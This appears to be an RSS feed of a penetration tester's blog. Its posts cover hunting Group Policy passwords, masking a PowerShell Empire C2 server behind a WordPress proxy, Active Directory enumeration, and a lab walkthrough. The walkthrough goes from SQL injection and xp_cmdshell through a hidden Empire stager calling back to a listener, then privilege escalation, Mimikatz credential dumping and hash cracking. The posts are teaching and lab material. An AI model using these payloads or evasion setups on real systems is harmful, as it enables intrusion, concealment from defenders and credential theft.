<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Liam Glanfield]]></title><description><![CDATA[Scripts | Guides | Help]]></description><link>https://glanfield.co.uk/</link><image><url>https://glanfield.co.uk/favicon.png</url><title>Liam Glanfield</title><link>https://glanfield.co.uk/</link></image><generator>Ghost 4.10</generator><lastBuildDate>Fri, 25 Jul 2025 11:30:45 GMT</lastBuildDate><atom:link href="https://glanfield.co.uk/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Make Group Policy Preferences GUID again]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Group Policy Preferences (GPP) has been around for a considerable amount of time, yet I still keep finding remmants of GPP passwords lying around within an Active Directory (AD) forests. For more background on GPP passwords you can read up on it here on <a href="https://adsecurity.org/?p=384">Active Directory Security</a>.</p>
<p>I was tasked</p>]]></description><link>https://glanfield.co.uk/make-group-policy-preferences-guid-again/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd7</guid><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Sat, 11 May 2019 20:02:08 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2019/05/GPPCSE-Header3.PNG" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://glanfield.co.uk/content/images/2019/05/GPPCSE-Header3.PNG" alt="Make Group Policy Preferences GUID again"><p>Group Policy Preferences (GPP) has been around for a considerable amount of time, yet I still keep finding remmants of GPP passwords lying around within an Active Directory (AD) forests. For more background on GPP passwords you can read up on it here on <a href="https://adsecurity.org/?p=384">Active Directory Security</a>.</p>
<p>I was tasked with an AD review and was met with a forest with a good 200+ Group Policy Objects (GPO). No idea why they had that insane amount. I got out my favourite <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1">script included in PowerSploit</a> and began to run it. A few hours later it concluded and did give me a great result, however, I felt this could be sped up somehow.</p>
<h2 id="understandinggetgpppasswordps1">Understanding Get-GPPPassword.ps1</h2>
<p>Looking at the script we can see on line 234 we have the following:</p>
<pre><code>$XMlFiles = Get-ChildItem -Path &quot;\\$Server\SYSVOL&quot; -Recurse -ErrorAction SilentlyContinue -Include &apos;Groups.xml&apos;,&apos;Services.xml&apos;,&apos;Scheduledtasks.xml&apos;,&apos;DataSources.xml&apos;,&apos;Printers.xml&apos;,&apos;Drives.xml&apos;
</code></pre>
<p>This will recursively search every file within SYSVOL for an XML as defined within the <code>Include</code> paramerter. Now if you have 200+ GPOs and are looking in <em>every</em> folder for one of 6 files this soon mounts up to a long time to wait. Not forgetting those sys admins who have created a <a href="https://support.microsoft.com/en-gb/help/3087759/how-to-create-and-manage-the-central-store-for-group-policy-administra">Central Group Policy Store</a> giving additional files to crawl through.</p>
<p>I see nothing wrong with this for small well managed forests, but will generate a lot of traffic over an extended period of time to the SYSVOL share. This possibly generating unwanted attention if you were conducting a red team for example.</p>
<!--kg-card-end: markdown--><h2 id="client-side-extensions-cse-">Client Side Extensions (CSE)</h2><p>I set to research on how I could identify a GPO before making a connection to the SYSVOL. I brought up an AD object for the GPO and inspected the properties and one attribute caught my attention, namely <code>gPCMachineExtensionNames</code>. So I set to investigate which extensions are used by GPP that could contain passwords, I found a handy <a href="https://blogs.technet.microsoft.com/mempson/2010/12/01/group-policy-client-side-extension-list/">TechNet post by Mark Empson</a> that gave me the following GUIDs that related to the following files:</p><ul><li>{5794DAFD-BE60-433f-88A2-1A31939AC01F} - Drives.xml</li><li>{17D89FEC-5C44-4972-B12D-241CAEF74509} - Groups.xml</li><li>{B087BE9D-ED37-454f-AF9C-04291E351182} - Registry.xml</li><li>{CAB54552-DEEA-4691-817E-ED4A4D1AFC72} - Scheduledtasks.xml</li><li>{728EE579-943C-4519-9EF7-AB56765798ED} - DataSources.xml</li><li>{91FBB303-0CD5-4055-BF42-E512A681B325} - Services.xml</li></ul><p>We can now quickly enumerate in a single LDAP query all the GPOs that will have a GPP. This reducing down all those SYSVOL connections to a single query. Using PowerShell as a quick test I identified that this worked well, below is an example command returning a GPO that would contain a <em>Groups.xml</em> file:</p><!--kg-card-begin: markdown--><pre><code>&gt; ([adsisearcher]&quot;(gPCMachineExtensionNames=*{17D89FEC-5C44-4972-B12D-241CAEF74509}*)&quot;).findall() | foreach{ $_.Properties.gpcfilesyspath[0] }
\\domain.local\sysvol\domain.local\Policies\{90FF7C20-D2A3-4EBB-ACF8-ACB136400198}
\\domain.local\sysvol\domain.local\Policies\{69E25BB9-C40C-4DCF-B5D3-F6C58A4E691A}
\\domain.local\SysVol\domain.local\Policies\{0B165778-AA46-4B59-9FCE-8EB8E2F5A1DC}
\\domain.local\sysvol\domain.local\Policies\{14A53C63-FA1D-417C-A4F0-0F644F23CCF8}
</code></pre>
<!--kg-card-end: markdown--><p>This will greatly reduce the time it takes to search for a Groups.xml file as per the original approach.</p><h2 id="more-enhancements">More Enhancements</h2><p>I wanted to also reduce the amount of effort you need to then identify all the affected Organizational Units (OUs) and within those the active computers that could be viable targets to attempt the password against.</p><p>So using the list of identified GPO GUIDs (The unique ID of the GPO) I could then use the <code>gPLink</code> attribute on the OU object to enumerate which OUs had this policy linked. With this list I could then enumerate all subsequent sub OUs below. For example, using the LDAP query <code>(&amp;(objectclass=organizationalUnit)(!(gPOptions=1)))</code> will return all OUs that the policy can reach while taking into account the blocked inheritance OUs. Blocked inheritance will stop a GPOs configuration applying to objects contained within or below it, however, some GPO links can be enforced in that instance I simply omitted the <code>gPOptions</code> portion of the query.</p><p>With an OU list to hand it was a simple case of passing this to my existing script and enumerating the active computer objects. Giving us a nice list of machines to work with.</p><h2 id="the-end-result">The End Result</h2><p>Once this had all been built I compared the results of the two scripts against an AD forest that contained around 80 GPOs, they also had a lot of junk stored in SYSVOL that was not relevant to GPP. Additionally, I was working over a VPN so the amount of time taken could have been increased as a result.</p><p>However, lets measure the timing of the old versus the new approach:</p><!--kg-card-begin: markdown--><pre><code>PS C:\&gt; Measure-Command { Get-GPPPassword }
Days              : 0
Hours             : 0
Minutes           : 10
Seconds           : 21
Milliseconds      : 104
Ticks             : 6211048780
TotalDays         : 0.00718871386574074
TotalHours        : 0.172529132777778
TotalMinutes      : 10.3517479666667
TotalSeconds      : 621.104878
TotalMilliseconds : 621104.878
--------------------------------------------------------
PS C:\&gt; Measure-Command { Invoke-GPPCSE }
Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 10
Milliseconds      : 480
Ticks             : 104805931
TotalDays         : 0.00012130316087963
TotalHours        : 0.00291127586111111
TotalMinutes      : 0.174676551666667
TotalSeconds      : 10.4805931
TotalMilliseconds : 10480.5931
</code></pre>
<!--kg-card-end: markdown--><p>As you can see a vast reduction in time required to enumerate and return the results. Very useful if you need to act quickly!</p><p>You can download the script from my <a href="https://github.com/OneLogicalMyth/Invoke-GPPCSE">GitHub Repository</a><a>.</a></p>]]></content:encoded></item><item><title><![CDATA[Using Empire with a Reverse Proxy]]></title><description><![CDATA[<p>Here is an example of how I use Empire, in this example I won&apos;t be running through setting up HTTPS but will only document the HTTP approach. I am using Ubuntu 16.04 LTS and cloning Empire from the master &#xA0;branch.</p><!--kg-card-begin: markdown--><h1 id="installingandconfiguringlxc">Installing and Configuring LXC</h1>
<p>I prefer</p>]]></description><link>https://glanfield.co.uk/using-empire-with-a-reverse-proxy/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd6</guid><category><![CDATA[PowerShell Empire]]></category><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Fri, 26 Oct 2018 20:35:41 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2018/10/2-EmpireReverseProxyHeader-1.PNG" medium="image"/><content:encoded><![CDATA[<img src="https://glanfield.co.uk/content/images/2018/10/2-EmpireReverseProxyHeader-1.PNG" alt="Using Empire with a Reverse Proxy"><p>Here is an example of how I use Empire, in this example I won&apos;t be running through setting up HTTPS but will only document the HTTP approach. I am using Ubuntu 16.04 LTS and cloning Empire from the master &#xA0;branch.</p><!--kg-card-begin: markdown--><h1 id="installingandconfiguringlxc">Installing and Configuring LXC</h1>
<p>I prefer to host Empire on an LXC container, saves installing additional packages on the host. Also it&#x2019;s light enough to use on a VPS so don&#x2019;t need to worry about resources.</p>
<p>First off you need to install LXC; <code>apt install lxd</code>.</p>
<p>Once installed ensure you have run through the initial setup accepting defaults; <code>lxd init</code>.</p>
<p>You then need to create a new container I have named mine EmpireC; <code>lxc launch ubuntu:16.04 EmpireC</code>.</p>
<p>Once created you can now configure Empire.</p>
<h1 id="installingandconfiguringempire">Installing and Configuring Empire</h1>
<p>So, you need to ensure that you are interfacing with the container and not installing Empire on the host. At this point I launch <code>screen</code> then execute an interactive bash shell on the container use the following command <code>lxc exec EmpireC -- /bin/bash</code>.</p>
<blockquote>
<p>With the screen session running I can detach (<code>CTRL + A + D</code>) and attach it (<code>screen -x</code>) again to gain easy access back to the container, it also keeps Empires listener active too.</p>
</blockquote>
<p>Use the container like normal perform apt updates and the usual preparations you like to do for Empire. Then clone and install Empire using the following commands:</p>
<pre><code>git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
./install.sh
</code></pre>
<p>I got an error with urllib3 on launch of Empire so you might need to use the following commands to fix this:</p>
<pre><code>apt remove python-urllib3
pip install &apos;urllib3&lt;1.23,&gt;=1.21.1&apos;
</code></pre>
<p>Once you have launched Empire start a HTTP listener as per the normal process, however, ensure that the Host option is set to your external DNS name. I use Cloudflare to manage my DNS so I can quickly amend the IP if it gets blocked on engagements.</p>
<h1 id="settingupwordpress">Setting up Wordpress</h1>
<p>We are looking to mask Empire with a fully functioning WordPress site in front of it, so let&#x2019;s install Linux, Nginx, MySQL and PHP (LEMP stack). Ensure you have exited from the container before proceeding.</p>
<p>I follow the guide at <a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04">https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04</a>, as it covers every step for the LEMP stack installation.</p>
<p>Then follow the instructions at <a href="https://codex.wordpress.org/Installing_WordPress">https://codex.wordpress.org/Installing_WordPress</a> to install WordPress.</p>
<h1 id="configurethereverseproxy">Configure the Reverse Proxy</h1>
<p>Once a WordPress site is fully functioning you will need to grab the IP of the container and then reverse proxy to the Empire instance. You can grab the IP from the container by issuing the following command; <code>ip addr</code> if you are still interacting with the container or <code>lxc exec EmpireC -- ip addr</code> if you are not interacting with the container.</p>
<p>With the IP address obtained you then need to update the nginx configuration file for the default site with the additional lines below, however, ensure the user agent matches that of the Empire listener:</p>
<pre><code>error_page 404 = @notfound;

location @notfound {
    if ($http_user_agent != &quot;Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko&quot;){
        return 302 /;
    }

    proxy_set_header HOST $host;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    proxy_pass http://10.144.249.182;
}
</code></pre>
<h1 id="finaladjustments">Final Adjustments</h1>
<p>As the agent is checking in via a reverse proxy the true IP address is lost. However, if you ammend the Flask functions <code>check_ip</code>, <code>handle_get</code> and <code>handle_post</code> within <code>lib/listeners/http.py</code> and replace the <code>ClientIP</code> variable with the below snippet then the true IP should be recorded.</p>
<pre><code>if request.headers.getlist(&quot;X-Forwarded-For&quot;):
    clientIP = request.headers.getlist(&quot;X-Forwarded-For&quot;)[0]
else:
    clientIP = request.remote_addr
clientIP = clientIP.encode(&apos;utf-8&apos;)
</code></pre>
<p>I have also submitted this as a <a href="https://github.com/EmpireProject/Empire/pull/1259">pull request</a> to the Empire project.</p>
<p>There you go you should now have a fully functioning WordPress site that directs traffic with the correct user agent to the Empire instance within the container.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Enumerating AD with ADSI Searcher]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>At times during engagements you can find yourself in a situation that sees you without a lovely set of tools that can quickly enumerate the domain for you.</p>
<p>Utilising PowerShell with ADSI searcher will aid you in enumeration without any pre-requisites. The <code>[adsisearcher]</code> is a shortcut for the .Net object</p>]]></description><link>https://glanfield.co.uk/enumerating-ad-with-adsi-searcher/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd5</guid><category><![CDATA[PowerShell]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[Active Directory]]></category><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Mon, 19 Jun 2017 07:28:00 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2017/08/Windows-Server-2012-2017-06-19-09-02-49.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://glanfield.co.uk/content/images/2017/08/Windows-Server-2012-2017-06-19-09-02-49.png" alt="Enumerating AD with ADSI Searcher"><p>At times during engagements you can find yourself in a situation that sees you without a lovely set of tools that can quickly enumerate the domain for you.</p>
<p>Utilising PowerShell with ADSI searcher will aid you in enumeration without any pre-requisites. The <code>[adsisearcher]</code> is a shortcut for the .Net object <a href="https://msdn.microsoft.com/en-us/library/system.directoryservices.directorysearcher(v=vs.110).aspx">system.directoryservices.directorysearcher</a>. The ADSI searcher was introduced for PowerShell 2.0, which should work on Windows 7/Windows Server 2008 R2 or higher, providing PowerShell hasn&apos;t been removed.</p>
<p>This guide assumes you have some basic understanding of PowerShell, if not I highly recommend watching &quot;<a href="https://www.youtube.com/playlist?list=PL6D474E721138865A">Learn Windows PowerShell in a Month of Lunches</a>&quot; by <a href="https://mvp.microsoft.com/en-us/PublicProfile/9766?fullName=Don%20Jones">Don Jones</a>.</p>
<h2 id="ldapqueries">LDAP Queries</h2>
<p>In order to use ADSI searcher effectively you need to understand and have knowledge of the LDAP query structure. Here is some of the basics:</p>
<ul>
<li>Equal to <code>(givenName=Bob)</code></li>
<li>Logical equal to AND <code>(&amp;(givenName=Bob)(l=Smith))</code></li>
<li>Logical equal to OR <code>(|(givenName=Bob)(l=Smith))</code></li>
<li>Not equal to <code>(!givenName=Bob)</code></li>
<li>Wilcard <code>(givenName=*Bob*)</code></li>
</ul>
<p>Some great guidance and examples can be found on <a href="http://ldapwiki.com/wiki/LDAP%20Query%20Examples">ldapwiki.com</a>. Additionally you can find some great information on the attributes used in Active Directory on <a href="http://www.selfadsi.org/user-attributes.htm">SelfADSI</a>.</p>
<h2 id="adsisearcherbasics">ADSI Searcher Basics</h2>
<p>The below examples assume you have logged on to a domain joined computer that is a member of the domain you are targeting.</p>
<p>Combining an LDAP query with ADSI searcher can quickly enable you to identify many AD objects of interest.</p>
<p>Lets take an example; you need to find all the users who have the word <em>pass</em> within their notes, you could perform the following query:</p>
<p><code>([adsisearcher]&quot;(info=*pass*)&quot;).FindAll()</code></p>
<p>Now that would return all the results for you to work with but wouldn&apos;t give you the finer detail, such as username or the what the note said in full. So you could expand it a little:</p>
<p><code>([adsisearcher]&quot;(info=*pass*)&quot;).FindAll() | %{ $_.GetDirectoryEntry() } | Select-Object sAMAccountName, info</code></p>
<p>This will now return the <a href="http://www.selfadsi.org/ads-attributes/user-sAMAccountName.htm">sAMAccountName</a> and the corresponding info, should they contain the phrase <em>pass</em> within them.</p>
<p>This giving you a good insight to any objects of interest, in our example above if we had results returned it might have returned a useful password for us to use!</p>
<h2 id="advancedadsisearcher">Advanced ADSI Searcher</h2>
<p>The above example showed a very basic example of how to enumerate the current domain with information. However if you wanted to query a foreign domain, say for example you found a domain trust, then you need to include an LDAP path with your query.</p>
<p>Take this example, we have a trusted domain named <em>example.com</em>, as the domain is in a 2 way trust our currently logged on user has permissions so no additional authentication is required, this means we can simply do this:</p>
<p><code>(New-Object adsisearcher([adsi]&quot;LDAP://example.com&quot;,&quot;(info=*pass*)&quot;)).FindAll()</code></p>
<p>By calling <em>adsisearcher</em> as an object we can pass it 2 parameters, the first being the <a href="https://msdn.microsoft.com/en-us/library/system.directoryservices.directoryentry(v=vs.110).aspx">system.directoryservices.directoryentry</a> object and the second being our query.</p>
<p>The <em>directoryentry</em> detailed above, can be called by its shortcut <code>[adsi]</code> allowing us a little less typing. If you read the directoryentry objects details, you will notice you can also <a href="https://msdn.microsoft.com/en-us/library/bw8k1as4(v=vs.110).aspx">pass authentication</a> to it as well, this is great if you find yourself with credentials for a domain and you have network access to it, but not able to actually find a machine to logon to. Using the credentials obtained you could remotely authenticate against the domain.</p>
<p>So lets now connect to <em>example.com</em> with credentials against the remote domain from our test machine:</p>
<p><code>(New-Object adsisearcher((New-Object adsi(&quot;LDAP://example.com&quot;,&quot;domain\username&quot;,&quot;password&quot;)),&quot;(info=*pass*)&quot;)).FindAll()</code></p>
<h2 id="puttingitalltogether">Putting it all Together</h2>
<p>Using standard PowerShell cmdlets you can export the information or save it to a variable to work further with it. Lets simply output the results to a GUI grid using the cmdlet <a href="https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.utility/out-gridview"><code>Out-GridView</code></a>, this allows us to use its simple filters to further narrow down our search and visually see the results. We could also store it to a variable to work with the data further just by prefixing something like this <code>$Result = ...</code> and then we could call a single result back by issuing <code>$Result[0].GetDirectoryEntry()</code> where <code>[0]</code> is the first item in the results returned.</p>
<p>You now have learned the basics of the ADSI searcher object and should have an understanding on how to perform some queries. Next time you run into a situation where you can&apos;t use a third party tool or you are trying to discreetly garner information on the target domain, remember to use <code>[adsisearcher]</code>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SQLi, Privilage Escalation, and PowerShell Empire]]></title><description><![CDATA[I have built a small lab to demonstrate some very basic SQL injection (SQLi) and how to utilise PowerShell Empire for privilege escalation.]]></description><link>https://glanfield.co.uk/sqli-privilage-escalation-and-powershell-empire/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd4</guid><category><![CDATA[Kali]]></category><category><![CDATA[PowerShell]]></category><category><![CDATA[PowerShell Empire]]></category><category><![CDATA[SQLi]]></category><category><![CDATA[SQL Injection]]></category><category><![CDATA[nmap]]></category><category><![CDATA[Privilege Escalation]]></category><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Thu, 10 Nov 2016 08:00:00 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2017/08/SQLi-Privilage-Escalation-PowerShell-Empire.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="introandtools">Intro and Tools</h2>
<img src="https://glanfield.co.uk/content/images/2017/08/SQLi-Privilage-Escalation-PowerShell-Empire.jpg" alt="SQLi, Privilage Escalation, and PowerShell Empire"><p>I have built a small lab to demonstrate some very basic SQL injection (SQLi) and how to utilise PowerShell Empire for privilege escalation. The demonstration starts as an unauthenticated user on the network and ends with full administrative privileges over the target Active Directory domain.</p>
<p>This is a supplement to the <a href="https://youtu.be/hyHLUV79KEs">YouTube video</a> I made.</p>
<p>Here is a list of tools used in the demonstration;</p>
<ul>
<li><a href="https://www.kali.org/downloads">Kali</a></li>
<li><a href="https://www.powershellempire.com">PowerShell Empire</a></li>
<li><a href="https://nmap.org">nmap</a></li>
<li><a href="http://sqlmap.org">sqlmap</a></li>
<li><a href="http://www.openwall.com/john/">john</a></li>
</ul>
<h2 id="labsetup">Lab Setup</h2>
<p>The lab consists of the following servers;</p>
<ul>
<li>Domain Controller - Windows Server 2012 R2</li>
<li>Web Server - Windows Server 2008 R2</li>
<li>SQL Server (SQL Express 2014) - Windows Server 2012 R2</li>
<li>Kali - Rolling Release</li>
</ul>
<h2 id="discoverywithnmap">Discovery with nmap</h2>
<p><a href="https://youtu.be/hyHLUV79KEs?t=24s">Watch nmap discovery scanning</a></p>
<p>I tend to always start using nmap&apos;s ping scan, this is a quick and easy way to see what hosts you have available to work with. To issue a ping scan or also known as skip port scan do the following;</p>
<p><code>nmap -sP 192.168.0/24</code></p>
<p>This will quickly return a list of hosts, with little detail. But is ideal to form a list to complete a full port scan against. For the demonstration I shortened the scan by selecting the applicable ports. If I was doing a full scan you could run something like;</p>
<p><code>nmap -v -sSV -O -p- -Pn -oA results -iL ips_list</code></p>
<p>Lets breakdown the above command;</p>
<ul>
<li><code>-v</code> increases the verbosity</li>
<li><code>-sSV</code> is a SYN scan with versioning</li>
<li><code>-O</code> enables OS detection</li>
<li><code>-p-</code> scans all ports</li>
<li><code>-Pn</code> tells nmap not to ping</li>
<li><code>-oA</code> outputs the results in 3 file types these are standard, grepable, and xml</li>
<li><code>-iL</code> is a file containing a list of IPs to scan</li>
</ul>
<p>Once you have completed the nmap scanning you should have a good idea of the environment. I personally go through each port and check to see what service might be running, get an idea of its version then investigate any known vulnerabilities.</p>
<h2 id="sqlinjection">SQL Injection</h2>
<p><a href="https://youtu.be/hyHLUV79KEs?t=2m4s">Watch SQL injection</a></p>
<p>I quickly developed a vulnerable website so I could demonstrate SQLi, it is available in the <a href="https://github.com/OneLogicalMyth/Random-Scripts/tree/master/SQL%20Injection%20Example">SQL Injection Example</a> folder on my GitHub. In the demonstration a web service was detected during the nmap discovery, you see me visiting the page to find it requires no authentication and is highly vulnerable to SQLi.</p>
<p>I start off with a very basic example of;</p>
<p><code>nolan&apos; OR 99 = 99 --  t</code></p>
<p>Lets break this down a bit, in the back end the developer has coded his application as follows (snipped, view <a href="https://github.com/OneLogicalMyth/Random-Scripts/blob/master/SQL%20Injection%20Example/Default.aspx.cs">full code</a>);</p>
<pre><code>string WhereText = SearchLastName.Text;
cmd = new SqlCommand(&quot;SELECT Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE &apos;%&quot; + WhereText + &quot;%&apos;&quot;)
</code></pre>
<p>As we can see the developer has not either escaped or better still <a href="https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet">parametrised the query</a>. This means anything we place in the search box is appended to the query executed.</p>
<p>Now if we go back to our very first example using knowledge of the code the end result would be this;</p>
<p><code>SELECT Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE &apos;%nolan&apos; OR 99 = 99 --  t</code></p>
<p>As you can see this would now return all records as 99 does equal 99. The comment on the end <code>--</code> is to stop anything else being added to our query.</p>
<p>For example if the query had an extra clause in the where statement it would cause a syntax error, having the comment on the end ensures only our query is executed. Also note I have placed a letter namely <strong>t</strong> in this case, this is to stop the code from truncating my white space on the end of the query, for a comment to work you need a space or 2 after the <code>--</code>.</p>
<p>The demo then goes to show you the <a href="https://msdn.microsoft.com/en-us/library/ms180026.aspx">UNION</a> statement and how to append data, the example given in the video was;</p>
<p><code>nolan&apos; UNION SELECT &apos;test&apos; AS Givenname, &apos;test1&apos; AS Surname, &apos;test3&apos; AS EmailAddress --  t</code></p>
<p>In this example we have only appended the data entered by myself, however say if we had another table called <strong>users</strong> we could use the following approach to output the data in that table;</p>
<p><code>invalid&apos; UNION SELECT username AS Givenname, password AS Surname, email AS EmailAddress FROM users --  t</code></p>
<p>I used an invalid word to begin with to not return any results from the original table in the database, then tell it simply give me the data from the users table instead.</p>
<p>Lastly I started to execute the PowerShell Empire stager using the <a href="https://msdn.microsoft.com/en-us/library/ms190693.aspx">xp_cmdshell</a> function, you first need to enable the advanced options by issuing the command <code>&apos;; EXEC sp_configure &apos;show advanced options&apos;, 1 -- t</code>. With the advanced options enabled I was then able to enable the xp_cmdshell using <code>&apos;; EXEC sp_configure &apos;xp_cmdshell&apos;, 1 -- t</code>. If you notice in the above commands I use a semicolon <code>;</code> this allows me to stack the SQL queries meaning I was able to run each query separately.</p>
<p>I also lightly touched on sqlmap, this tool requires its own blog post as its a huge tool, in the demonstration I show the <a href="https://www.youtube.com/watch?v=hyHLUV79KEs&amp;feature=youtu.be&amp;t=4m24s">sqlmap wizard</a> and how easy it is to retrieve data from a vulnerable web page.</p>
<p>This is only the surface of SQLi and is a very extensive subject one that can easily go into more depth and spend a great amount of time on. I would encourage reading up on SQLi as its great knowledge to have.</p>
<p>For further reading take a look at the <a href="https://www.owasp.org/index.php/SQL_Injection">OWASP SQL Injection</a> page as a starting point.</p>
<h2 id="powershellempire">PowerShell Empire</h2>
<p><a href="https://youtu.be/hyHLUV79KEs?t=6m49s">Watch PowerShell Empire</a></p>
<p>I now have the ability to run shell commands on the SQL box thanks to having the enabled the xp_cmdshell, so now lets look to getting an Empire agent on the box. I issued the command;</p>
<p><code>test&apos;; EXEC xp_cmdshell &apos;powershell.exe -NoP -sta -NonI -W Hidden -Enc &lt;&lt;base64_payload&gt;&gt; --  t</code></p>
<p>This will now launch an agent on the SQL box ready for use with Empire. The stager is explained a little further down.</p>
<h3 id="listener">Listener</h3>
<p>I didn&apos;t show setting up the listener in the demonstration, but it is a case of issuing the command <code>listeners</code> and then setting the host <code>set Host http://192.168.1.200:8000</code> once set you can then tell the listener to start by issuing the <code>run</code> command.</p>
<p>Listeners can use SSL certificates to encrypt communication in transit between your Empire and the agent. You can also run multiple listeners if required.</p>
<h3 id="stagerandagent">Stager and Agent</h3>
<p>Their are multiple <a href="http://www.powershellempire.com/?page_id=104">stagers</a> in Empire, I simply use the standard launcher for the demonstration. This is done by issuing the following commands;</p>
<pre><code>usestager launcher
set Listener main
</code></pre>
<p>This will now set the launcher to use the <strong>main</strong> listener, by default the listener is called <strong>test</strong>.<br>
You can then grab the command to run by issuing the command <code>execute</code>. This will give you a PowerShell command to run on your target box.</p>
<p>We now have an agent running on the box and we can execute commands on it to our liking. At this point it would be a good idea to search for documents that might be of interest to us, such as text files left lying around with passwords in it etc.</p>
<p>You can interact with the agent by issuing the <code>agents</code> command and then issuing the <code>interact ABCDEF123456789</code>, you can now download and explore the file system as you wish. For example <code>shell whoami</code> would return the current logged on user, prefix any command with <code>shell</code>. You can also import PowerShell scripts and execute them if you so wish at this point.</p>
<p>At any point in Empire you can list your agents by issuing the command <code>list agents</code> this is handy when trying to remember which agent is which. Or you can simply rename them if you prefer.</p>
<h3 id="powerupmodule">PowerUp Module</h3>
<p><a href="https://youtu.be/hyHLUV79KEs?t=8m45s">Watch the PowerUp Module</a></p>
<p>After searching for documents or information of interest you might yield no results, so you can now turn to the PowerUp module to see if privilege escalation is possible.</p>
<p>First we issue the command <code>usemodule privesc/powerup/allchecks</code> to start making use of the module. We then set the agent by issuing the command <code>set Agent ABCDEF123456789</code> and finally we can then tell it to start the module by issuing the <code>run</code> command.</p>
<p>No output will be displayed as mentioned earlier you will need to interact with the agent to see the results or you can read the logfile using <code>tail -f logfile</code> which will update your screen each time the log file is updated. Log files are in the <em>Downloads</em> folder within your Empire directory.</p>
<p>At this point in the video we have just run all the checks and identified that the <strong>VMTools</strong> service is vulnerable to allowing privilege escalation. So we now need use this vulnerable service to escalate up to SYSTEM level privileges.</p>
<h4 id="powerupservicestagermodule">PowerUp Service Stager Module</h4>
<p>We now switch to this module <code>usemodule privesc/powerup/service_stager</code> and issue the following commands;</p>
<pre><code>set Agent ABCDEF123456789
set Listener main
set ServiceName VMTools
run
</code></pre>
<p>This now replaces the service executable path with a stager launcher and executes a SYSTEM level agent on the box. After the service is executed the agent stager successfully, the original executable path is restored.</p>
<p>This will leave an event log detailing that the VMTools service has stopped and started.</p>
<h3 id="mimikatzmodule">Mimikatz Module</h3>
<p><a href="https://youtu.be/hyHLUV79KEs?t=11m">Watch the Mimikatz Module</a></p>
<p>Now we have system level permissions on the server we can now make use of Mimikatz and dump the credentials using <a href="https://technet.microsoft.com/en-us/library/cc778868%28v=ws.10%29.aspx">WDigest</a>.</p>
<p>The executable of Mimikatz is widely detected by AV and is hard to get onto a server as a result. With PowerShell Empire it makes use of the <a href="https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1">Invoke-Mimikatz.ps1</a> this is run in memory and as PowerShell is a trusted application the script executes undetected.</p>
<p>To use and execute this module you can do it 2 ways, with the video we make use of the module, else you can interact with the agent that has administrative privileges on the server and issue the <code>mimikatz</code> command.</p>
<p>To use the module we simply issue the command <code>use credentials/mimikatz/logonpasswords</code> and then run the following;</p>
<pre><code>set Agent ABCDEF123456789
execute
</code></pre>
<p>This will now dump the credentials on the box, in our case we didn&apos;t get any clear text passwords returned so we now have to attempt to crack the password. With the <a href="https://msdn.microsoft.com/en-gb/library/windows/desktop/aa378749%28v=vs.85%29.aspx">NTLM hash</a> we can also use a method called pass the hash which saves having to crack the password. This can be used for example with metasploit using the <a href="https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/">PSExec Pass the Hash</a> module to gain a shell on a remote box.</p>
<h2 id="passwordcracking">Password Cracking</h2>
<p><a href="https://youtu.be/hyHLUV79KEs?t=12m50s">Watch Password Cracking</a></p>
<p>In the video we use john (John the Ripper) which will helped us crack the password to <strong>Password1$</strong> however we could of also used <a href="https://hashcat.net/hashcat/">hashcat</a> which I personally prefer but without fiddling with configuration of the VM I wouldn&apos;t be able to run hashcat on my Kali VM.</p>
<p>To attempt to crack the hash we first stored it in a file called <strong>admin_hash</strong> and then issued the command to attempt to crack it;</p>
<p><code>john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT admin_hash</code></p>
<p>This fails to display the password in the demo video, I had previously tested it prior to recording and it refused to show the cracked password from its pot file. However if john had worked correctly it would of cracked the password as it was based in the dictionary file provided.</p>
<p>With hashcat or john you can use word mangling using some great <a href="https://github.com/hashcat/hashcat/tree/master/rules">rules</a> which will see a dictionary based password such as <code>r0cky0u2016!</code> become cracked fairly quickly. Here is the NTLM for that password if you want to have a play <code>78BDD374A1C5A25E389AC7B530A0A5E4</code>.</p>
